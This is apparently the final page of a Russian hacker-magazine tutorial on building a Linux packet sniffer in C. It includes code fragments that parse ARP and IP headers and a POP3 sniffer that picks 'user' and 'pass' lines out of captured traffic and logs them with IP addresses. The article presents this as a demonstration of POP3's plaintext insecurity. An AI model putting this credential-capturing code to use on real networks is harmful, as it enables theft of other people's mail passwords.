С/C++ - Самопальный снифер под Linux

kas1e

Xakep, номер #050, стр. 050-082-4


выводить:

*/

arp = (struct my_arp *)(buffer+14);

printf ("arp hardware type :%.04x\n",arp->arp_hardware_type);

/* и так далее со всем остальным. Полный пример идет бонусом к статье. */

}

В итоге у нас получился простейший "анализатор пакетов", который и является снифером.

POP3-снифер

Для выискивания каких-то данных мы рассмотрим pop3-снифер. Он выбирает из буфера все строки, в которых есть слова "user " и "pass ". Затем выводит эти данные вместе с IP-адресами в лог-файл. Здесь нет ничего сложного, зато ярко демонстрируется незащищенность стандартного pop3-протокола. Вначале описываются необходимые переменные, а после этого делается функция, дабы читать код было проще:

void print_ips() // делаем функцию

{

struct my_ip *ip; // описали нашей структурой

struct in_addr need; // для необходимости при преобразовании

ip = (struct my_ip *)(buffer+14); // показали, где в буфере лежит IP

need.s_addr = ip->ip_source; // нужное поле

fprintf (fd,"IP source :%s\n",inet_ntoa(need)); // вывод

need.s_addr = ip->ip_dest; // нужное поле

fprintf (fd,"IP dest :%s\n",inet_ntoa(need)); // вывод

};

Функция просто выводит в файл IP-адреса, взятые с наших структур. Для преобразования используется структура in_addr и макрос inet_ntoa. Далее мы, как и выше, сначала поднимаем сокет, а потом делаем цикл, в котором будем читать в буфер данные с сокета. После этого начинаем искать в буфере нужные нам данные:

memmem (buffer,bytes_recieved,"user ",5);

Этой строчкой мы ищем 5 нужных байт в буфере. Используем memmem, чтобы не встала проблема встречи с нулями (конец строки). Если нашли данные, то ищем далее \x0d (конец строки) и вставляем туда 0 (для упрощения при выводе), если нет - наш цикл продолжится. И так же повторяем процедуру при поиске "pass " фразы. Вот пример обработки "user ":

/* user */

p = memmem (buffer,bytes_recieved,"user ",5); // ищем в буфере "user "

if (p==0) {} // если не нашли - ничего,

else { d = memmem (p,50,"\x0d",1); // если нашли, то ищем 0d

if (d==0) {} // если не нашли - ничего,

else { // если нашли - открываем

fd = fopen ("sniff_logs","a+"); // файл, суем нуль в конец

print_ips(); // строки и выводим все

memset ((char *)d,'\0',1); // это в файл

fprintf (fd,"%s\n",p); // после чего файл close

fclose (fd);

};

};

И аналогично делается для "pass ". Работоспособные примеры можно скачать с www.xakep.ru или на диске ][.

Заключение

Вот, в принципе, и все. В заключение я хотел бы поблагодарить товарищей Сивухина и Синюхина. Фамилии, естественно, вымышленные, а сами товарищи в глубоком подполье :). И еще. Используй полученные знания в позитивных целях.

Назад на стр. 050-082-3  Содержание  Вперед на стр. 050-082-5